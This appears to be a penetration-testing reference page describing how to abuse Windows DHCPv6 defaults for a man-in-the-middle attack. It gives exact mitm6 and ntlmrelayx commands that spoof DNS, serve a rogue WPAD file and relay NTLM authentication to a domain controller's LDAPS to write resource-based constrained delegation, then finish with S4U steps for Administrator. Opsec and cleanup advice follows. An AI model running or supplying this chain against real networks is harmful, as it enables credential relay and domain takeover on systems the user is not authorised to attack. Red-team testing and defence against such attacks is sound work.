Skip to content

IPv6 MitM

Windows ships with two defaults that make local IPv6 a reliable man-in-the-middle primitive:

  1. The DHCPv6 client is enabled by default and the host constantly emits Solicit messages on the link.
  2. The Windows resolver prefers IPv6 over IPv4. As soon as a host learns an IPv6 default gateway and DNS server, those win over the legitimate IPv4 configuration for name resolution.

By answering the victim's DHCPv6 Solicit first we hand it an attacker-controlled DNS server. From there we own every name it resolves and can either spoof records directly or, more commonly, point the victim at our ntlmrelayx listener (WPAD, target hostname, AD CS web enrollment, ...) to relay NTLM into LDAP / HTTP / SMB.

Prerequisites

  • Layer-2 access to the same broadcast domain as the victim. DHCPv6 is link-local and is not routed.
  • Victim has DHCPv6 enabled (Windows default) and no host firewall rule blocking DHCPv6 from rogue servers.
  • For the chained relay: a target service that does not enforce signing / EPA (LDAP without channel binding, HTTP without EPA, ...) and an authentication primitive (user browsing, WPAD lookup, scheduled task to a file server, coerced auth, ...).

mitm6

mitm6 hands out short-lived IPv6 leases and points the victim at our address as DNS. Always scope the attack with -hw (host whitelist) and -d (domain filter) so we don't black-hole every Windows box on the segment by accident.

sh
sudo python3 mitm6.py -i en14 --debug -hw "computer.example.com" -d "example.com"
  • -i en14: interface attached to the victim's broadcast domain.
  • -hw computer.example.com: only reply to DHCPv6 Solicit messages from this single host.
  • -d example.com: only spoof DNS replies for names under this domain (legitimate lookups for everything else still resolve over IPv4).
  • --debug: print every solicit, advertisement and DNS reply (drop once the chain is working).

Chain: mitm6 + ntlmrelayx (RBCD)

The canonical primitive: mitm6 redirects the victim's WPAD lookup (and any internal hostname we choose) to ntlmrelayx, which relays the resulting NTLM auth to LDAP on the DC and writes RBCD on a target computer object.

sh
# Terminal 1 - DHCPv6 + DNS spoof, scoped to one victim and the AD domain
sudo python3 mitm6.py -i en14 --debug -hw "computer.example.com" -d "example.com"

# Terminal 2 - relay to LDAPS, drop a WPAD file, configure RBCD on the target
ntlmrelayx.py -6 -t ldaps://dc01.example.com -wh attacker-wpad --delegate-access
  • -6 makes ntlmrelayx listen on IPv6 (where the relayed connection arrives).
  • -wh attacker-wpad serves the wpad.dat that the victim fetches after mitm6 resolves wpad.example.com to us.
  • --delegate-access auto-creates a computer account (if MachineAccountQuota > 0) and writes RBCD on the relayed computer object.

Finish the chain with the S4U2Self / S4U2Proxy step from RBCD to obtain Administrator on the target.

Opsec / cleanup

  • Always use -hw and -d. Without scoping, mitm6 hands leases to every Windows host on the link and visibly breaks Outlook, Teams, and file shares.
  • Stop mitm6 cleanly with Ctrl-C; it tries to expire leases so victims drop the rogue DNS faster than the 300 s default TTL.
  • If a victim cached a poisoned record after you stopped, run ipconfig /flushdns on it or wait for the short TTL mitm6 advertises.